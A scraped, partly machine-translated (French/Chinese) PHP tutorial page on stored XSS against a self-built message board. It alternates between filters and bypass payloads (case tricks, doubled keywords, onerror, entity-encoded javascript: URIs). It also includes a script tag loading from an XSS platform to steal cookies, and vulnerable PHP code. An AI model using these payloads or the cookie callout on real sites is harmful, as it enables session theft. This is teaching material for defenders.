Maison Opération et maintenance Sécurité Attaque et défense pratiques des XSS stockés une seule fois

Attaque et défense pratiques des XSS stockés une seule fois

Dec 03, 2019 pm 05:42 PM
xss Combat réel Infraction et défense

Attaque et défense pratiques des XSS stockés une seule fois

Qu'est-ce que le XSS stocké ? L'exécution, pour atteindre l'objectif de l'attaque, injecte généralement un script JavaScript. Pendant le processus de test, nous utilisons généralement :

<script>alert(1)</script>
Utilisez ce code js pour faire apparaître une boîte de dialogue prouvant l'existence d'une vulnérabilité XSS. Alors, les débutants peuvent se demander : à quoi sert d’ouvrir une boîte ?

En fait, la boîte pop-up sert simplement à prouver l'existence de cette vulnérabilité. Il existe de nombreuses façons d'exploiter cette vulnérabilité.

Par exemple, vous pouvez utiliser la plateforme xss :

Écrire un script xss généré par la plateforme :

<script src=//xsspt.com/ZsgUBf></script>
Attaque et défense pratiques des XSS stockés une seule foisQuand quelqu'un entre la zone Lorsqu'il y a une page avec ce script, le script js obtiendra son cookie et l'enverra à la plateforme xss.

Il vous suffit de vous connecter à la plateforme xss et d'attendre. Après avoir obtenu le cookie, vous pouvez vous connecter à son compte sans mot de passe.

Remarque : L'objectif de cet article est de mener des attaques XSS étape par étape du point de vue d'un pirate informatique, puis d'expliquer comment se défendre contre les attaques XSS étape par étape du point de vue d'un développeur. Par conséquent, dans cet article, je vais corriger le code back-end en tant que développeur, puis mener des attaques XSS sur la page front-end en tant que pirate informatique.

Quant à la manifestation des vulnérabilités XSS stockées, la plus classique est le forum de messages. Mais nous sommes tous de bons étudiants qui respectent la loi et ne pouvons pas tester des sites Web externes, nous avons donc passé une demi-heure à créer nous-mêmes un forum de discussion. Tout d'abord, il devrait y avoir une page d'affichage frontale Message_Board.php et une page de stockage de données back-end addMessage.php

La page avant Le code -end n'est pas l'objet de cet article (intéressant Vous pouvez le vérifier vous-même

Code front-endAttaque et défense pratiques des XSS stockés une seule fois), nous nous concentrons sur le code back-end addMessage.php :

<?php
	$nickname = @$_POST[&#39;nickname&#39;];//昵称
	$email = @$_POST[&#39;email&#39;];//邮箱
	$content = @$_POST[&#39;content&#39;];//留言内容
	$now_time = @$_POST[&#39;now_time&#39;];//留言时间
	$ini= @parse_ini_file("config.ini");
    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
		mysql_query("set names &#39;utf8&#39;");//解决中文乱码问题
		mysql_select_db($ini["dbname"]);
		$sql1 = "select count(*) from message_board";
		$result = mysql_query($sql1);
		$floor = mysql_fetch_row($result)[0] + 1;
		$sql = "insert into message_board values
($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
		mysql_query($sql);
	}?>

Comme vous Comme vous pouvez le voir, nous n'avons pas du tout traité les quatre paramètres transmis, mais les avons directement stockés dans la base de données. Donc, tant que nous entrons comme ceci :

Après la soumission, le système actualisera automatiquement la page et une boîte de dialogue apparaîtra :

Attaque et défense pratiques des XSS stockés une seule fois

Après avoir cliqué sur OK, vous constaterez que le contenu du message et l'expéditeur du message sont vides.

Attaque et défense pratiques des XSS stockés une seule fois

C'est parce que le script js a été analysé. À ce moment-là, nous appuyons sur F12, ouvrons les outils de développement du navigateur et trouvons le script js.

Attaque et défense pratiques des XSS stockés une seule fois

Alors, voici la question.

Attaque et défense pratiques des XSS stockés une seule foisAprès tout, nous avons une autre identité, comment les développeurs peuvent-ils s'en défendre ?

0×00, le plus simple, il suffit de modifier le code front-end

Ajouter l'attribut maxlength dans la balise d'entrée

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
Quant à le principe, car le script js se présente sous la forme <script></script> et la longueur est de 17, donc tant que nous limitons la longueur sur le front-end, nous pouvons empêcher les pirates de mener des attaques xss.

Mais ! Le développement n’est pas si simple !

Nous sommes des hackers qui veulent se développer, nous devons donc le faire nous-mêmes.

En tant qu'attaquant, nous pouvons également modifier le code front-end. L'opération spécifique consiste à utiliser le F12 du navigateur (outils de développement)

Vous pouvez. voyez, nous pouvons modifier la longueur directement.

Attaque et défense pratiques des XSS stockés une seule foisDe plus, vous pouvez également utiliser la méthode de capture de paquet pour écrire directement dans le paquet, qui n'est pas limité par la longueur.

0×01. Filtrer le mot-clé script

En tant que développeur, vous pouvez facilement constater que pour réaliser une attaque xss, vous devez insérer un script js , et Les caractéristiques des scripts js sont très évidentes. Le script contient le mot-clé script, il suffit donc d'effectuer un filtrage des scripts. Retournez au code précédent.

Pour faciliter l'explication, je ne prends que le paramètre pseudo. En fait, les quatre paramètres passés doivent être traités de la même manière.

$nickname = str_replace("script", "", @$_POST[&#39;nickname&#39;]);//昵称

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

Attaque et défense pratiques des XSS stockés une seule fois

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<script>alert(1)</script>

Attaque et défense pratiques des XSS stockés une seule fois

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

Attaque et défense pratiques des XSS stockés une seule fois

0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST[&#39;nickname&#39;]);//昵称

str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>

Attaque et défense pratiques des XSS stockés une seule fois

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

弹框成功!

Attaque et défense pratiques des XSS stockés une seule fois

0×03、使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称

显然,弹框失败。

Attaque et défense pratiques des XSS stockés une seule fois

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img  src="/static/imghw/default1.png"  data-src="https://img.php.cn/upload/image/699/197/806/1575365321709550.jpg"  class="lazy"  src=x onerror=alert(1) alt="Attaque et défense pratiques des XSS stockés une seule fois" >

0×04、过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#49;&#41;>a</a>

当点击页面上的超链接时,会弹框。

Attaque et défense pratiques des XSS stockés une seule fois

但是为什么呢?

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“j”或“j ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>

你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。

作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;
&#41;>

这种写法,同样既没有script关键字,又没有alert关键字。

Attaque et défense pratiques des XSS stockés une seule fois

可以看到弹框成功!

Attaque et défense pratiques des XSS stockés une seule fois

可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。

0×05、过滤特殊字符

优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?

可是我不想手撸代码来列举那么多特殊字符怎么办?

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST[&#39;nickname&#39;]);//昵称

htmlentities()函数的作用是把字符转换为 HTML 实体。

Attaque et défense pratiques des XSS stockés une seule fois

看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。

可以看到,我们输入的内容全部显示在页面上了。

Attaque et défense pratiques des XSS stockés une seule fois

可是却没有弹框。

我们鼠标右键,查看网页源代码

Attaque et défense pratiques des XSS stockés une seule fois

际上,我们输入的内容已经变成了HTML实体:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

无法被解析为js脚本。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

0×06、总结

开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。

黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。

对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。

相关文章教程推荐:web服务器安全

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Stock Market GPT

Stock Market GPT

Recherche d'investissement basée sur l'IA pour des décisions plus intelligentes

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

PHP pratique : exemple de code pour implémenter rapidement la séquence de Fibonacci PHP pratique : exemple de code pour implémenter rapidement la séquence de Fibonacci Mar 20, 2024 pm 02:24 PM

Pratique PHP : Exemple de code pour implémenter rapidement la séquence de Fibonacci La séquence de Fibonacci est une séquence très intéressante et courante en mathématiques. Elle est définie comme suit : le premier et le deuxième nombres sont 0 et 1, et à partir du troisième, en commençant par les nombres, chaque nombre. est la somme des deux nombres précédents. Les premiers nombres de la séquence de Fibonacci sont 0,1,1,2,3,5,8,13,21,... et ainsi de suite. En PHP, nous pouvons générer la séquence de Fibonacci par récursion et itération. Ci-dessous, nous montrerons ces deux

Protection contre les scripts intersites (XSS) et la falsification de requêtes intersites (CSRF) dans Laravel Protection contre les scripts intersites (XSS) et la falsification de requêtes intersites (CSRF) dans Laravel Aug 13, 2023 pm 04:43 PM

Protection contre les scripts intersites (XSS) et la falsification de requêtes intersites (CSRF) dans Laravel Avec le développement d'Internet, les problèmes de sécurité des réseaux sont devenus de plus en plus graves. Parmi eux, Cross-SiteScripting (XSS) et Cross-SiteRequestForgery (CSRF) sont l'une des méthodes d'attaque les plus courantes. Laravel, en tant que framework de développement PHP populaire, offre aux utilisateurs une variété de mécanismes de sécurité

Vous apprendre étape par étape comment sous-traiter les programmes Uniapp et Mini (images et texte) Vous apprendre étape par étape comment sous-traiter les programmes Uniapp et Mini (images et texte) Jul 22, 2022 pm 04:55 PM

Cet article vous apporte des connaissances pertinentes sur le multi-domaine Uniapp et présente les problèmes liés à la sous-traitance des programmes Uniapp et Mini. Chaque mini-programme qui utilise la sous-traitance doit contenir un package principal. Le soi-disant package principal est l'endroit où est placée la page de démarrage/la page TabBar par défaut, ainsi que certaines ressources publiques/scripts JS que tous les sous-packages doivent utiliser, tandis que les sous-packages sont divisés en fonction de la configuration du développeur, j'espère. cela sera utile à tout le monde.

Étude approfondie de la syntaxe des requêtes Elasticsearch et du combat pratique Étude approfondie de la syntaxe des requêtes Elasticsearch et du combat pratique Oct 03, 2023 am 08:42 AM

Étude approfondie de la syntaxe des requêtes Elasticsearch et introduction pratique : Elasticsearch est un moteur de recherche open source basé sur Lucene. Il est principalement utilisé pour la recherche et l'analyse distribuées. Il est largement utilisé dans la recherche en texte intégral de données à grande échelle et l'analyse de journaux. , systèmes de recommandation et autres scénarios. Lorsque vous utilisez Elasticsearch pour les requêtes de données, l'utilisation flexible de la syntaxe des requêtes est la clé pour améliorer l'efficacité des requêtes. Cet article approfondira la syntaxe des requêtes Elasticsearch et la présentera sur la base de cas réels.

Pratique de développement Java : intégration du service de stockage cloud Qiniu pour réaliser le téléchargement de fichiers Pratique de développement Java : intégration du service de stockage cloud Qiniu pour réaliser le téléchargement de fichiers Jul 06, 2023 pm 06:22 PM

Pratique de développement Java : intégration du service de stockage cloud Qiniu pour implémenter le téléchargement de fichiers Introduction Avec le développement du cloud computing et du stockage cloud, de plus en plus d'applications doivent télécharger des fichiers vers le cloud à des fins de stockage et de gestion. Les avantages des services de stockage cloud sont une fiabilité, une évolutivité et une flexibilité élevées. Cet article expliquera comment utiliser le développement du langage Java, intégrer le service de stockage cloud Qiniu et implémenter la fonction de téléchargement de fichiers. À propos de Qiniu Cloud Qiniu Cloud est l'un des principaux fournisseurs de services de stockage cloud en Chine, fournissant des services complets de stockage cloud et de distribution de contenu. Les utilisateurs peuvent utiliser Qiniu Yunti

Pratique de bibliothèque dynamique Golang : partage de cas et compétences pratiques Pratique de bibliothèque dynamique Golang : partage de cas et compétences pratiques Mar 01, 2024 am 08:30 AM

Pratique des bibliothèques dynamiques Golang : partage de cas et compétences pratiques En Golang (langage Go), l'utilisation de bibliothèques dynamiques peut réaliser des fonctions telles que le développement modulaire, la réutilisation de code et le chargement dynamique. Cet article expliquera comment utiliser les bibliothèques dynamiques dans Golang grâce au partage de cas et à des conseils pratiques, et comment utiliser les bibliothèques dynamiques pour améliorer la flexibilité et la maintenabilité du code. Qu'est-ce qu'une bibliothèque dynamique Une bibliothèque dynamique est un fichier qui contient des fonctions et des données qui peuvent être chargées au moment de l'exécution. Contrairement aux bibliothèques statiques qui doivent être liées à l'application au moment de la compilation, les bibliothèques dynamiques peuvent être

Pratique de conception de table MySQL : créer une table de commande pour le commerce électronique et une table d'évaluation des produits Pratique de conception de table MySQL : créer une table de commande pour le commerce électronique et une table d'évaluation des produits Jul 03, 2023 am 08:07 AM

Pratique de conception de tables MySQL : créez une table de commande de commerce électronique et une table d'évaluation des produits dans la base de données de la plateforme de commerce électronique, la table de commande et la table d'évaluation des produits sont deux tables très importantes. Cet article expliquera comment utiliser MySQL pour concevoir et créer ces deux tables, et donnera des exemples de code. 1. Conception et création du tableau des commandes Le tableau des commandes est utilisé pour stocker les informations d'achat de l'utilisateur, y compris le numéro de commande, l'ID utilisateur, l'ID produit, la quantité achetée, le statut de la commande et d'autres champs. Tout d'abord, nous devons créer une table nommée "order" en utilisant CREATET

Golang Practical Combat : partage de conseils de mise en œuvre pour la fonction d'exportation de données Golang Practical Combat : partage de conseils de mise en œuvre pour la fonction d'exportation de données Feb 29, 2024 am 09:00 AM

La fonction d'exportation de données est une exigence très courante dans le développement réel, en particulier dans des scénarios tels que les systèmes de gestion back-end ou l'exportation de rapports de données. Cet article prendra le langage Golang comme exemple pour partager les compétences d'implémentation de la fonction d'exportation de données et donnera des exemples de code spécifiques. 1. Préparation de l'environnement Avant de commencer, assurez-vous d'avoir installé l'environnement Golang et de connaître la syntaxe et les opérations de base de Golang. De plus, afin d'implémenter la fonction d'exportation de données, vous devrez peut-être utiliser une bibliothèque tierce, telle que github.com/360EntSec.

See all articles